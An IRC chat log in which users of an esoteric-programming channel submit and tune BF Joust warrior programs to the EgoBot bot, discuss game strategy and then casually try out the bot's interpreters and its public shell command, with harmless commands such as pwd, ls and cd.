Patashu_waiter: 48.2 13:58:27 okay that's good 13:58:28 !bfjoust taejo_simplexity (>)*18[[-]>-] 13:58:32 Score for Taejo_taejo_simplexity: 16.5 13:58:48 !bfjoust boring (-)*100000 13:58:53 Score for Asztal_boring: 36.0 13:59:13 I guess a lot of them use [-][-] 13:59:24 !bfjoust taejo_simplexity (>)*10[[-][-]>-] 13:59:28 Score for Taejo_taejo_simplexity: 19.8 13:59:33 !bfjoust waiter (-)*100000((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*20000(-+)*20000(>)*8(>(-.)*128)*20 13:59:37 Score for Patashu_waiter: 27.1 13:59:40 nope :o 13:59:43 !bfjoust waiter (-)*10000((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*20000(-+)*20000(>)*8(>(-.)*128)*20 13:59:47 Score for Patashu_waiter: 37.7 13:59:48 !bfjoust taejo_simplexity >(+)*128(>)*9[[-][-]>-] 13:59:52 Score for Taejo_taejo_simplexity: 14.0 13:59:52 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*20000(-+)*20000(>)*8(>(-.)*128)*20 13:59:57 Score for Patashu_waiter: 41.8 14:00:30 !bfjoust sloth >(+)*128((++-)*1024(--+)*1024)*100([>[-]+])*100 14:00:35 Score for Deewiant_sloth: 0.0 14:00:39 Heh 14:01:02 !bfjoust sloth >(+)*128((++-)*1024(--+)*1024)*100>([>[-]+])*100 14:01:06 Score for Deewiant_sloth: 4.8 14:01:07 (+)*128 doesn't provide a particularly big advantage 14:01:14 it just needs to be bigger than the current largest decoy buster in play 14:01:26 (that is, some amount of +ing or -ing before a loop like [+]) 14:01:36 !bfjoust sloth >(+)*12((++-)*1024(--+)*1024)*100>([>[-]+])*100 14:01:41 Score for Deewiant_sloth: 0.0 14:01:44 haha 14:01:44 :-P 14:01:51 hang on 14:01:53 !bfjoust sloth >(+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]+])*100 14:01:58 Score for Deewiant_sloth: 0.0 14:02:01 what is that meant to do 14:02:01 !bfjoust sloth >(+)*12((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:02:05 Score for Deewiant_sloth: 0.0 14:02:08 take out the first > :) 14:02:10 try that 14:02:14 Sit around and then attack simply 14:02:17 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:02:20 Score for Deewiant_sloth: 42.5 14:02:23 much better 14:02:23 :) 14:02:23 Meh 14:02:26 lol 14:02:29 Why would that matter so much 14:02:32 because 14:02:40 if the program uses a [] like structure to attack cells 14:02:50 if it sees 0 for one cell then it assumes 'oh, I'm done here' and moves to the next 14:03:06 but if you're altering it your flag can hit 0 and then bounce back off 0 from your efforts 14:03:10 Hmm, right, and if it sees 0 for the one next to the flag it kills the flag 14:03:11 while the unsuspecting program wanders off the tape's edge 14:03:17 And if you alter the flag... yeah 14:03:25 Still, I wouldn't expect it to be that much better :-P 14:03:42 it's one of the main strategies :) 14:03:53 of course it does much better than letting the enemy move onto your flag and attack it uncontested 14:03:53 haha 14:03:55 -!- lereah_ has left (?). 14:03:56 -!- lereah_ has joined. 14:03:59 :-D 14:04:17 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]]+)*100 14:04:21 Score for Deewiant_sloth: 36.0 14:04:23 !bfjoust retreat (>-)*9([.]-[.]<)*9(++--+-++--)*100000 14:04:28 Score for Asztal_retreat: 9.8 14:04:30 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]+]+)*100 14:04:33 Score for Deewiant_sloth: 36.0 14:04:35 !bfjoust matador >-[]<(++-)*1000-(--+)*1000(>)*9(>[+][-])*21 14:04:39 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]+]>)*100 14:04:39 Score for Patashu_matador: 22.8 14:04:43 Score for Deewiant_sloth: 40.7 14:04:45 !bfjoust matador >+[]<(++-)*1000-(--+)*1000(>)*9(>[+][-])*21 14:04:49 Score for Patashu_matador: 30.5 14:05:00 !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 14:05:00 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]+])*100 14:05:06 Score for Patashu_matador: 32.7 14:05:06 -!- myndzi has joined. 14:05:06 Score for Deewiant_sloth: 26.9 14:05:12 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8([>[-]+]>)*100 14:05:15 Score for Deewiant_sloth: 40.7 14:05:21 oh no :ohmy: 14:05:23 creep died 14:05:34 !bfjoust sloth (+)*12((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:05:38 Score for Deewiant_sloth: 40.7 14:07:05 !bfjoust sloth ((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:07:09 Score for Deewiant_sloth: 36.0 14:07:14 !bfjoust sloth (+)*128((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:07:18 Score for Deewiant_sloth: 31.9 14:07:19 !bfjoust sloth (+)*127((++-)*1024(--+)*1024)*100(>)*8+([>[-]+])*100 14:07:24 Score for Deewiant_sloth: 32.7 14:07:32 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100(>)*8+([>[-]+])*100 14:07:36 Score for Deewiant_sloth: 45.4 14:07:38 !bfjoust sloth (+)*12((++-)*1024+(--+)*1024)*100(>)*8+([>[-]+])*100 14:07:42 Score for Deewiant_sloth: 29.6 14:07:46 Heh 14:07:50 !bfjoust sloth (+)*12((++-)*1024-(-+-)*1024)*100(>)*8+([>[-]+])*100 14:07:54 Score for Deewiant_sloth: 29.6 14:07:58 find dat sweat spot 14:07:59 !bfjoust sloth (+)*12((+-+)*1024-(-+-)*1024)*100(>)*8+([>[-]+])*100 14:08:00 sweet 14:08:03 Score for Deewiant_sloth: 36.3 14:08:11 !bfjoust sloth (+)*12((+-+)*1024-(-+-)*1024+)*100(>)*8+([>[-]+])*100 14:08:14 Score for Deewiant_sloth: 40.7 14:08:28 !bfjoust sloth (+)*12((++-)*1024-(--+)*1024)*100(>)*8+([>[-]+])*100 14:08:32 Score for Deewiant_sloth: 45.4 14:08:36 This is just silly :-P 14:08:49 have you been looking at the other programs at all? 14:09:26 Not beyond from what's been pasted here, mostly only what's been pasted here in the last 30 minutes :-P 14:09:40 http://codu.org/eso/bfjoust/in_egobot/ read, learn, understand, know 14:10:24 Nah, that's cheating 14:10:38 nope 14:10:44 why are they posted publicly then? 14:10:53 As in, I consider it cheating :-P 14:11:08 Or something like cheating but not quite cheating, there may or may not be a good word for it 14:11:11 Unsportsmanlike 14:11:14 :-P 14:27:17 -!- leonid_ has joined. 14:30:11 to submit, it's !bfjoust program 14:30:16 it'll append your name to the start automatically 14:30:25 if the name matches a program's name it gets overridden 14:30:43 so for instance one of mine is 14:30:44 !bfjoust juggernaut +(>(-)*128.--++)*29 14:30:47 Score for Patashu_juggernaut: 47.9 14:31:33 how is the score evaluated? 14:31:43 it runs it against every other program on the hill 14:31:51 for each win, the more points that program had the more points you get 14:31:55 hmmm 14:32:02 !bfjoust juggernaut 14:32:03 Use: !bfjoust 14:32:11 !bfjoust butt + 14:32:14 lol 14:32:16 Score for lereah__butt: 10.5 14:32:20 so 14:32:23 even if you do nothing interesting 14:32:24 I have no idea what's going on 14:32:28 you can still get a few wins if you make programs fall off the edge 14:32:31 !bfjoust lols > 14:32:36 Score for leonid__lols: 11.5 14:32:41 hmmmm 14:32:43 !bfjoust butt [+] 14:32:47 Score for lereah__butt: 9.2 14:32:51 here's a short program that has the capability of winning 14:33:01 (>)*9([-]>)*21 14:33:11 the flag is between 9 and 29 cells away to start off 14:33:12 My butt is weak :( 14:33:17 so we move 9 tiles forward 14:33:38 and to win we have to blank the flag at some point. we can do this either way since 128 is equidistant from 0 in either direction 14:33:48 but [-], if the other pointer is not altering it at the same time, will decrement it until it is 0 then continue 14:34:04 so if that was the enemy's flag and they aren't changing it at the same time you win if you zero out their flag first 14:34:04 !bfjoust lols < 14:34:08 suicid 14:34:08 Score for leonid__lols: 3.0 14:34:48 !bfjoust butt [>] 14:34:53 Score for lereah__butt: 11.5 14:34:54 !bfjoust lols (>[-])*30 14:34:58 Score for leonid__lols: 16.8 14:35:13 I'm typing random things because I have no idea what's going on 14:35:18 !bfjoust lols (>[-])*9 14:35:23 Score for leonid__lols: 10.5 14:35:29 !bfjoust lols (>[-])*20 14:35:33 Score for leonid__lols: 19.5 14:35:39 !bfjoust lols (>[-])*20 14:35:42 Score for leonid__lols: 19.5 14:35:47 hmm 14:35:49 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:35:49 am I spamming? 14:35:52 Score for Patashu_rushpolarity: 51.0 14:35:57 we're not talking about anything else go ahead 14:36:03 !bfjoust lols (>[-])*15 14:36:07 Score for leonid__lols: 11.5 14:36:08 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[[+][-]]+.--.++>(-)*8[[-][+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:36:10 !bfjoust lols (>[-])*18 14:36:13 Score for Patashu_rushpolarity: 44.9 14:36:14 Score for leonid__lols: 11.0 14:36:18 !bfjoust lols (>[-])*19 14:36:22 Score for leonid__lols: 19.5 14:36:26 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*10[+[-]]+.--.++>(-)*10[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:36:30 Score for Patashu_rushpolarity: 56.2 14:36:34 oho 14:36:47 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*12[+[-]]+.--.++>(-)*12[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:36:51 Score for Patashu_rushpolarity: 47.6 14:36:56 nope 10 is a sweat spot apparantly 14:36:56 haha 14:37:02 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*11[+[-]]+.--.++>(-)*11[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:37:07 Score for Patashu_rushpolarity: 49.9 14:37:09 oops I keep saying sweat spot 14:37:13 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*10[+[-]]+.--.++>(-)*10[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 14:37:17 Score for Patashu_rushpolarity: 56.2 14:37:19 back to the version that works best 14:38:05 !bfjoust lols ((+)*10(>[-])*19(<)*19)*10 14:38:35 .... 14:38:43 did i break it 14:38:47 wait for it 14:39:22 !help 14:39:22 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 14:40:09 lol 14:40:16 mmmm 14:40:33 why on earth would that break it *raisez eyebrow* 14:40:46 lol wow sry guys 14:40:48 !bfjoust suicide_is_your_only_option < 14:40:49 s'ok 14:41:08 !kill all humans 14:41:09 Daemon all_humans does not exist! 14:41:13 :( 14:41:17 don't you go around killing things 14:41:23 !kill Patashu 14:41:23 Daemon Patashu does not exist! 14:41:28 lolol 14:41:30 Dayum 14:41:45 !daemon 14:41:46 Invalid invocation. 14:41:50 !daemon Patashu 14:41:51 Invalid invocation. 14:41:55 !halp 14:41:59 halp lol 14:42:05 !help daemon 14:42:06 daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. 14:42:10 o 14:42:44 !daemon Patashu bf 14:42:44 !daemons 14:42:45 Running daemons: bottles butt 14:42:45 Daemon Patashu running. 14:42:50 !kill Patashu 14:42:51 Daemon Patashu killed. 14:42:56 TAKE THAT 14:42:59 whered my lols gone 14:43:02 Damn demon 14:43:08 where my lollers at 14:43:23 !bottles 1 14:43:32 !butt 1 14:43:37 :o 14:45:30 !hello h 14:45:31 Hello World 14:45:39 btw leonid 14:45:42 yea 14:45:43 http://codu.org/eso/bfjoust/in_egobot/ < programs currently on the hill 14:46:17 !sh kill 22653 14:46:18 /tmp/input.23677: line 1: kill: (22653) - Operation not permitted 14:47:08 hmmm 14:47:50 !fyb 14:47:50 Use: !fyb 14:47:53 let's play fyb while we wait 14:47:53 lol 14:47:57 wuts day 14:47:59 dat* 14:48:35 heard of corewars? 14:48:39 it's like that but brainfuckier 14:48:45 dunno about corewars 14:48:47 :( 14:49:24 http://codu.org/eso/fyb/ and readme 14:50:02 Score for Patashu_suicide_is_your_only_option: 2.8 14:50:02 Score for leonid__lols: 26.6 14:50:05 ah 14:50:06 here we go 14:50:09 finally lol 14:50:10 how long was that? 14:50:22 about 12 min 14:50:43 I queried him to let him know 14:50:53 maybe he'll fix the bug 14:50:55 or someone will fix it 14:50:57 !bfjoust lols ((+)*10(>[-])*10(<)*10)*2 14:51:05 you fool noooo 14:51:07 lol 14:51:10 lol 14:51:27 whyd it take so long 14:51:31 I have no idea 14:51:35 it might be a bug with < maybe 14:53:05 you are hereby banned from using < until you know better 14:53:05 XD 14:53:26 ugh 14:53:33 brb reading rules 14:53:43 have you ever looked at brainfuck code before? 14:53:55 i often write simple bf codes 14:53:58 also, tidbit: the ] check is considered a cycle 14:54:01 i very often bf songs too 14:54:08 so [+] is executed like +]+]+]... until the cell is zero 14:54:08 and 14:54:23 for loops it uses the value of the cell before the two programs take their turn for that turn 14:54:33 that won't matter unless both pointers are altering the same cell though 14:56:10 .... 14:56:17 whoa lol what did i just do 14:57:00 maybe i should change the code for the sake of etiquette lol 14:57:32 I'm almost certain it's the multiplied < 14:57:35 so just don't use that for now 14:57:39 okay 14:59:20 -!- myndzi has quit (Read error: 113 (No route to host)). 15:01:50 ..... 15:01:56 omg 15:04:08 D: 15:05:17 <_< 15:06:39 how long has it been this time 15:07:03 16 min 15:07:13 reduced the number of loops and still 15:07:37 i wonder what happens if I do +[] 15:07:49 *kicked* 15:08:02 You should get summarily beaten by all opponents :-P 15:08:05 yes 15:08:06 also 15:08:10 there's a 384000 cycle limit on a game 15:08:18 relief 15:08:36 and the game would end as soon as one of them suicides or a flag is 0 for consecutive cycles 15:08:47 you can't really lock up bfjoust...except through bugs I guess D: 15:08:47 lol 15:08:51 2 consecutive* 15:09:01 2 15:09:02 ya 15:09:06 Btw, does that mean one turn for both players after the flag is zero? 15:09:09 Or two turns? 15:09:24 flag is x, both players take turns, flag is 0 15:09:31 flag is 0, both players take turns, flag is 0 15:09:38 that would declare the game over 15:09:40 1 turn = 1 instruction for each player, they're run in parallel 15:09:50 So 1 turn for both after it's zero 15:10:21 ya 15:10:48 if you use [-] you're basically doing -]-]-]... so that handles the two cycle thing 15:10:56 but if you're using (-)*abignumber you're doing ----- 15:10:56 so you go right past 0 15:13:19 .... 15:13:21 20 min D: 15:13:39 super bug hunter leonid 15:13:42 !bfjoust woot ([>+)*5(])*5 15:13:43 lolol 15:13:53 i can make ruby segfault 15:13:58 how 15:14:02 leonid_: how? 15:14:02 by doing something wrong 15:14:12 aww egobot doesn't do ruby 15:14:14 but how 15:14:40 you figure it out 15:14:44 *puzzle* 15:14:56 never used ruby before 15:15:05 puts "Segmentation fault." 15:15:05 ? 15:15:09 not that 15:15:18 one day i misused Marshal 15:15:22 and it caused segfault 15:15:35 A BUG! >:@ 15:15:40 :D 15:26:09 !help addinterp 15:26:09 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 15:26:22 I wanna try something 15:27:12 hmm 15:27:15 does egobot do php or ruby? 15:28:04 !help 15:28:04 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:28:10 !help ruby 15:28:10 Sorry, I have no help for ruby! 15:28:12 !help php 15:28:12 Sorry, I have no help for php! 15:28:14 !help egobot 15:28:15 Sorry, I have no help for egobot! 15:28:20 !about 15:28:23 -!- lereah_ has quit (Remote closed the connection). 15:28:42 !c *0=1; 15:28:44 Does not compile. 15:29:04 !echo imsickofuprock 15:29:04 imsickofuprock 15:29:11 !c int* n; *n=0; 15:29:13 ./interps/gcccomp/gcccomp: line 52: 27871 Segmentation fault /tmp/compiled.$$ 2>&1 15:29:17 yay! 15:29:17 -!- myndzi has joined. 15:30:05 !help yodawg 15:30:05 Sorry, I have no help for yodawg! 15:30:16 !yodawg 15:30:16 Unexpected end of file 15:30:39 !yodawg 1!2@3#4$5%6^7&8*9(0)-_=+[{]}\\:;'",<..>/? 15:30:39 Unknown function: 1 15:30:42 hmm 15:30:43 !sh ps -l 25684 15:30:44 what is yodawg 15:30:47 it is a mystery 15:31:21 whoa 15:31:25 no result yet? 15:31:28 nope lol 15:31:30 how long now 15:31:33 40 min 15:32:35 Hmm 15:32:37 Signal 18 (CONT) caught by ps (procps version 3.2.7). 15:33:01 I thought SIGCONT couldn't be caught 15:37:24 -!- myndzi has quit (Read error: 60 (Operation timed out)). 15:41:27 * oerjan cackles evilly 15:41:52 imagine a world with no !bfjoust 15:41:54 :( 15:42:03 i killed it 15:42:17 silent stealth assassin of !bfjoust 15:42:23 lol 15:42:32 !echo hi 15:42:33 hi 15:42:42 !echo glove owned the simfiles forums 15:42:43 glove owned the simfiles forums 15:42:51 !echo bush hid the facts 15:42:52 bush hid the facts 15:42:53 huh let me check 15:42:56 !echo hst is ninshikou 15:42:56 hst is ninshikou 15:43:04 check what 15:43:06 nooo don't 15:43:25 mmk 15:43:40 !revive !bfjoust 15:43:48 what 15:43:54 huh lol 15:43:54 is it a valid command? 15:43:56 nope 15:44:05 !yodawg ````.B.o.o.!i 15:44:06 Boo! 15:44:13 wuts yodawg 15:44:21 it seems to have an interpreter in unlambda 15:44:26 i see 15:44:27 so it might be lambda calculus based 15:44:38 !bfjoust suicide_is_your_only_option < 15:44:43 i tried it some with universal lambda 15:44:52 so hard 15:44:53 * oerjan wonders if leonid_ and Patashu have even _heard_ of the yo dawg meme 15:44:58 I have 15:45:04 but it didn't help me solve the conundrum did it 15:45:10 it should 15:45:14 i have too 15:45:20 i made some too 15:45:25 is it to do with 15:45:27 nesting? recursion? 15:45:48 * oerjan lets you ponder it for a while 15:45:50 yo dawg, i herd u liek functions, so we've put a function in your function so now you can derive while you derive 15:45:58 hang on 15:46:03 !help yodawg 15:46:03 Sorry, I have no help for yodawg! 15:46:08 -!- myndzi has joined. 15:46:16 !info yodawg 15:46:16 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 15:46:24 !userinterps 15:46:24 how did I do it last time 15:46:24 Installed user interpreters: bct bfbignum chiqrsx9p choo echo google hello num ook rot13 slashes yodawg 15:46:34 !userinterps yodawg 15:46:35 Installed user interpreters: bct bfbignum chiqrsx9p choo echo google hello num ook rot13 slashes yodawg 15:46:37 !src yodawg 15:46:39 !yodawg 15:46:40 Unexpected end of file 15:46:42 how to uninstall interpreter? 15:46:42 !help 15:46:43 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:46:47 there was a command to do it 15:46:48 !show yodawg 15:46:49 unlambda (sending via DCC) 15:46:49 what was iiiit 15:46:51 aha 15:46:56 !show yodawg 15:46:56 unlambda (sending via DCC) 15:46:59 !show num 15:46:59 sadol !1 15:47:04 ;D 15:47:06 !show yodawg 15:47:07 unlambda (sending via DCC) 15:47:14 !show yodawg 15:47:15 unlambda (sending via DCC) 15:47:25 oooh I get it 15:47:26 ### Copyright (C) 2001 by Ørjan Johansen 15:47:36 yo dawg we put unlambda code in your unlambda interpreter 15:47:51 i herd u liek 15:47:51 so you can do lambda calculus while you do lambda calculus 15:47:53 wat? copyright? 15:47:56 forgot this part 15:48:14 * oerjan cackles his evil maniacal laughter. BWAHAHAHA! 15:48:24 nooga: it's GPL 15:48:26 * nooga stabs oerjan 15:48:28 ;D 15:48:29 iirc 15:49:09 nooga: technically i'm not sure a norwegian _can_ cancel his copyright. 15:49:21 wow 15:49:33 although i write "public domain" in my programs recently 15:49:33 !show bct 15:49:34 bf (sending via DCC) 15:49:46 i can sell it, of course 15:49:47 bf bf bf 15:49:54 brain fuck bitch 15:49:54 somehow i feel sad 15:49:59 bf bf 15:50:00 sell yodawg interpreter in unlambda 15:50:02 yeah 15:50:05 !show chiqrsx9p 15:50:06 perl (sending via DCC) 15:50:08 but i'm not sure that norway has a PD concept apart from actual expiration 15:50:09 that'd sell 15:50:34 not that i've actually checked 15:50:58 !show choo 15:50:58 bf >,[>,]<++++++++++++++++++++++[<]>[[.>]<[<]>[-]>] 15:51:04 !choo 15:51:06 !choo 0 15:51:07 0 15:51:10 !choo 1 15:51:10 1 15:51:14 !choo foo bar 15:51:14 !choo 255 15:51:14 foo bar oo bar o bar bar bar ar r 15:51:14 255 55 5 15:51:20 woah 15:51:27 !choo choo 15:51:27 choo hoo oo o 15:51:32 handy 15:51:36 !choo echo 15:51:36 echo cho ho o 15:51:42 !show echo 15:51:43 bf ,[.,] 15:51:54 !show num 15:51:54 sadol !1 15:51:58 !show rot13 15:52:00 bf (sending via DCC) 15:52:10 o_o 15:52:23 !show hello 15:52:23 c char buf[1024]; int i; fgets(buf, 1024, stdin); for (i=0;buf[i];i++)buf[i]=(buf[i]=='\n')?'\0':buf[i]; if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf); 15:52:34 lol 15:52:37 what? 15:52:40 !hello h 15:52:42 Hello World 15:52:43 !hello any other input 15:52:45 Unknown command (any other input) encountered 15:52:50 !hello hh 15:52:51 Unknown command (hh) encountered 15:52:52 get it? 15:52:56 !hello hentai 15:52:57 Unknown command (hentai) encountered 15:53:05 :( 15:53:13 Hmm, that's an extremely silly implementation 15:53:21 !userinterp 15:53:24 it's not faithful to the specs? 15:53:25 !userinterps 15:53:25 Installed user interpreters: bct bfbignum chiqrsx9p choo echo google hello num ook rot13 slashes yodawg 15:53:33 leonid if you have any trivial interpreters feel free to add them on :o 15:53:34 lol ook 15:53:39 or daemons 15:53:42 !chiqrsx9p hhh 15:53:43 perl: warning: Setting locale failed. 15:53:48 lol 15:53:49 nice 15:53:54 what the heck 15:54:00 !perl print "hi"; 15:54:00 perl failure :awesome: 15:54:01 perl: warning: Setting locale failed. 15:54:01 golfscript interpreter would be good 15:54:07 it would buuut 15:54:10 it's in RUBY 15:54:14 oh snap 15:54:16 !slashes Then this won't work either 15:54:16 perl: warning: Setting locale failed. 15:54:21 :( 15:54:22 slashes... 15:54:26 wait wasn't slashes working earlier 15:54:27 interesting 15:54:33 yes, perl is broken 15:54:38 all of those use perl 15:54:40 how'd it break 15:54:41 !ruby p 42 15:54:53 GregorR: perl interps are broken 15:54:58 !bf . 15:55:00 there's no ruby, python, java, php 15:55:06 well what ARE we meant to program in god 15:55:25 Patashu: Perl, C, C++, Forth, or an esolang 15:55:27 !bfbignum . 15:55:33 maybe some i've forgot 15:55:45 hmm...what are asm, axo and bch? 15:55:53 asm is assembler 15:55:55 asm is the GNU assembler 15:56:39 !help 15:56:40 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 15:56:46 !show whirl 15:56:46 That is not a user interpreter! 15:56:48 hmm 15:56:52 can't get info on commands 15:56:55 owell 15:57:01 !test 15:57:02 !help whirl 15:57:03 Sorry, I have no help for whirl! 15:57:06 !test a 15:57:09 !test a=b 15:57:13 !test bfjoust 15:57:16 !show test 15:57:17 !test !bfjoust 15:57:17 That is not a user interpreter! 15:57:25 huh 15:57:33 $!@#$!@#$ 15:57:50 bfjoust has been dead for 67 min 15:58:02 !sh echo $? 15:58:03 0 15:58:09 !sh exit 255 15:58:14 !sh echo $? 15:58:15 0 15:58:29 !sh ruby -e'p 42' 15:58:29 /tmp/input.1687: line 1: ruby: command not found 15:58:32 dam 15:58:49 !sh whoami 15:58:50 /usr/bin/whoami: cannot find name for user ID 1242221 15:58:57 !sh pwd 15:58:58 /home/egobot/egobot.hg/multibot_cmds 15:59:01 !sh ls 15:59:02 interps 15:59:08 ... 15:59:09 !sh echo interps 15:59:09 interps 15:59:12 oops 15:59:15 what 15:59:16 !sh cat interps 15:59:18 that's better 15:59:27 maybe not 15:59:33 !sh echo $? 15:59:34 0 15:59:39 oh just didn't want to do it for some reason 15:59:44 !sh head interps 15:59:55 what if I do sh vi 16:00:02 won't do much good for you 16:00:07 since it only returns one line 16:00:13 !sh vi 16:00:14 Vim: Warning: Output is not to a terminal 16:00:18 ya 16:00:21 it's not interactive 16:00:31 that process is still running 16:00:33 i guess 16:00:39 !sh :q! 16:00:39 /tmp/input.2330: line 1: :q!: command not found 16:00:43 It outputted "lib" and "slox" 16:00:54 !sh echo * 16:00:55 interps lib slox 16:00:57 :-P 16:01:03 echo * does what? 16:01:05 !sh ps 16:01:13 It echoes * 16:01:20 !sh ls -1 16:01:20 Where * is glob-expanded as usual 16:01:20 interps 16:01:22 !sh job 16:01:23 /tmp/input.2592: line 1: job: command not found 16:01:27 oops 16:01:38 !sh ls -l 16:01:39 /bin/ls: interps: Function not implemented 16:01:43 !sh yes 16:01:44 y 16:01:55 oh okay 16:01:57 it can dcc with you 16:02:02 -!- oerjan has quit ("leaving"). 16:02:16 ugh 16:02:17 wait 'yes' is a command 16:02:18 ? 16:02:20 bfjoust x_x 16:02:21 yeah 16:02:28 it prints y forever 16:02:31 !sh no 16:02:32 /tmp/input.2902: line 1: no: command not found 16:02:32 why 16:02:34 lol 16:03:18 alias no='yes n' 16:03:27 !sh yes n 16:03:28 n 16:03:53 uh wow 16:03:59 lol 16:04:00 okay 16:04:02 x_x 16:04:10 !sh alias no='yes n' 16:04:15 can't alias in sh right 16:04:19 or maybe you can... 16:04:31 -!- myndzi has quit (Read error: 113 (No route to host)). 16:04:49 !sh no 16:04:49 /tmp/input.3403: line 1: no: command not found 16:04:54 guess not 16:05:04 !sh echo a tear shed for those who have fallen 16:05:05 a tear shed for those who have fallen 16:05:08 !sh alias no='yes n'; no | head -1 16:05:09 /tmp/input.3514: line 1: no: command not found 16:05:15 !csh alias no='yes n' 16:05:15 -!- impomatic has left (?). 16:05:19 Hmmh 16:05:21 !csh no 16:05:25 nvm 16:05:30 alias /is/ in sh 16:06:07 Hmm, it just doesn't work like that after ; 16:06:25 maybe you can't save aliases 16:06:53 It works if you do it as a separate command 16:07:05 !sh alias no='yes n';no 16:07:06 /tmp/input.3915: line 1: no: command not found 16:07:13 :x 16:07:22 !sh cd . 16:07:24 !sh pwd 16:07:24 /home/egobot/egobot.hg/multibot_cmds 16:07:27 But like said, not when separated with ; :-P 16:07:27 !sh cd .. 16:07:28 !sh pwd 16:07:29 /home/egobot/egobot.hg/multibot_cmds 16:07:32 can't move :o 16:07:37 !sh cd ..;pwd 16:07:38 !sh cd ..;pwd 16:07:38 /home/egobot/egobot.hg 16:07:38 /home/egobot/egobot.hg 16:07:41 ninjad 16:07:44 :( 16:07:44 lol 16:13:03 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 16:16:13 00:18 pikhq: AnMaster: BTW, have you ever checked out Second Life? 16:16:13 00:18 AnMaster: pikhq, no I haven't 16:16:14 00:18 AnMaster: pikhq, doesn't work in offline mode 16:16:16 HAHAHAHAHAHHAHAHAHA 16:16:58 lol 16:17:19 gregorr rewrote bfjoust? 16:18:16 -!- myndzi has joined. 16:18:56 myndzi=nescience 16:19:34 \m/ \m/ 16:19:46 D'aw. 16:19:58 01:37 psygnisfive: ive got a NeXT machine! :o 16:20:00 it's shit, it's not a cube 16:21:00 -!- myndzi has quit (Read error: 113 (No route to host)). 16:25:05 01:06:21 would be to be given a set of numbers and usable operators 16:25:05 01:06:28 and to make it equal a number given upfront 16:25:06 01:06:31 first person to answer wins 16:25:08 countdown 16:25:26 -!- myndzi has joined. 16:25:40 !sh cd ..;touch flimble 16:25:41 /usr/bin/touch: cannot touch `flimble': Permission denied 16:25:53 !sh mkdir foo;touch flimble 16:25:53 /bin/mkdir: cannot create directory `foo': Permission denied 16:26:21 yikes 16:26:27 firewall freaked the hell out 16:30:13 it's shit, it's not a cube <-- about cube... What happened to that Mac called "Cube"? 16:30:25 it seems like it just was forgotten quietly 16:30:27 AnMaster: It had overheating issues and also flopped commercially. 16:30:28 AnMaster: lmso 16:30:35 